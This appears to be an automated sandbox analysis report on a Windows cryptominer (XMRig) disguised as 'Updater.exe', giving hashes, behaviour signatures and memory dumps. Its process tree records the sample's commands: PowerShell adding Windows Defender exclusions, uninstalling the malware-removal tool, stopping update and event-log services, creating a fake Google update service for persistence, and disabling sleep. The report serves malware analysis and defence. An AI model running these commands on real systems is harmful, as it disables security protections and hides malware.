Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-07-2024 20:36

General

  • Target

    Updater.exe

  • Size

    9.2MB

  • MD5

    4ab8ccecd4a134b37a1141b515371b66

  • SHA1

    d0ebd671b85d91b7e4405e78dc8de723c23ee99d

  • SHA256

    7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8

  • SHA512

    249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd

  • SSDEEP

    196608:cezNzOtuVXR6GWycUnkD8/04pUh76TBFx:ce5XBWycUnkD8/jps7cB

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 5 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Updater.exe
    "C:\Users\Admin\AppData\Local\Temp\Updater.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:544
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5116
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4012
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1100
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:5108
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:452
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4376
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:2212
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3556
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3016
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1968
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1288
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5012
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:4876
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:4652
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:1500
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:1528
    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
      C:\ProgramData\GoogleUP\Chrome\Updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4228
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:3208
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:228
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4860
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:224
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:4180
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:668
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:232
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:3280
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          PID:1736
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:4580
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4024

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\ProgramData\GoogleUP\Chrome\Updater.exe

          Filesize

          9.2MB

          MD5

          4ab8ccecd4a134b37a1141b515371b66

          SHA1

          d0ebd671b85d91b7e4405e78dc8de723c23ee99d

          SHA256

          7059ff79287dcb1ead0d9b0a166bc551d729b1c7c412cecab3574ac1379685f8

          SHA512

          249ed30e142530b006958605f9f31f6d9fcf39b412e4ef1b2040887ed7020363749ce89150c4c35a3b4a92a7e6955775dc9f7c0246034fe18909c39bdb121ecd

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2fq1eaz.ipa.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\system32\drivers\etc\hosts

          Filesize

          3KB

          MD5

          00930b40cba79465b7a38ed0449d1449

          SHA1

          4b25a89ee28b20ba162f23772ddaf017669092a5

          SHA256

          eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

          SHA512

          cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

        • memory/544-25-0x00007FF6A31D0000-0x00007FF6A437E000-memory.dmp

          Filesize

          17.7MB

        • memory/544-1-0x00007FFD33390000-0x00007FFD33392000-memory.dmp

          Filesize

          8KB

        • memory/544-2-0x00007FF6A31D0000-0x00007FF6A437E000-memory.dmp

          Filesize

          17.7MB

        • memory/544-4-0x00007FF6A31D0000-0x00007FF6A437E000-memory.dmp

          Filesize

          17.7MB

        • memory/544-0-0x00007FF6A36E9000-0x00007FF6A3A3F000-memory.dmp

          Filesize

          3.3MB

        • memory/544-24-0x00007FF6A36E9000-0x00007FF6A3A3F000-memory.dmp

          Filesize

          3.3MB

        • memory/3868-30-0x00007FF78A600000-0x00007FF78B7AE000-memory.dmp

          Filesize

          17.7MB

        • memory/3868-28-0x00007FFD33390000-0x00007FFD33392000-memory.dmp

          Filesize

          8KB

        • memory/4024-77-0x0000000001380000-0x00000000013A0000-memory.dmp

          Filesize

          128KB

        • memory/4024-71-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-84-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-83-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-73-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-70-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-72-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-74-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-75-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-76-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-78-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-79-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-82-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-81-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4024-80-0x0000000140000000-0x0000000140848000-memory.dmp

          Filesize

          8.3MB

        • memory/4580-64-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4580-65-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4580-69-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4580-63-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4580-62-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4580-66-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/4964-55-0x0000014F7EF90000-0x0000014F7EF98000-memory.dmp

          Filesize

          32KB

        • memory/4964-53-0x0000014F7EF80000-0x0000014F7EF8A000-memory.dmp

          Filesize

          40KB

        • memory/4964-49-0x0000014F7ED50000-0x0000014F7ED6C000-memory.dmp

          Filesize

          112KB

        • memory/4964-56-0x0000014F7EFC0000-0x0000014F7EFC6000-memory.dmp

          Filesize

          24KB

        • memory/4964-57-0x0000014F7EFD0000-0x0000014F7EFDA000-memory.dmp

          Filesize

          40KB

        • memory/4964-50-0x0000014F7ED70000-0x0000014F7EE25000-memory.dmp

          Filesize

          724KB

        • memory/4964-54-0x0000014F7EFE0000-0x0000014F7EFFA000-memory.dmp

          Filesize

          104KB

        • memory/4964-51-0x0000014F7EE30000-0x0000014F7EE3A000-memory.dmp

          Filesize

          40KB

        • memory/4964-52-0x0000014F7EFA0000-0x0000014F7EFBC000-memory.dmp

          Filesize

          112KB

        • memory/5116-5-0x00007FFD14F23000-0x00007FFD14F25000-memory.dmp

          Filesize

          8KB

        • memory/5116-21-0x00007FFD14F20000-0x00007FFD159E1000-memory.dmp

          Filesize

          10.8MB

        • memory/5116-12-0x0000021743410000-0x0000021743432000-memory.dmp

          Filesize

          136KB

        • memory/5116-16-0x00007FFD14F20000-0x00007FFD159E1000-memory.dmp

          Filesize

          10.8MB

        • memory/5116-17-0x00007FFD14F20000-0x00007FFD159E1000-memory.dmp

          Filesize

          10.8MB

        • memory/5116-20-0x00000217430C0000-0x00000217432DC000-memory.dmp

          Filesize

          2.1MB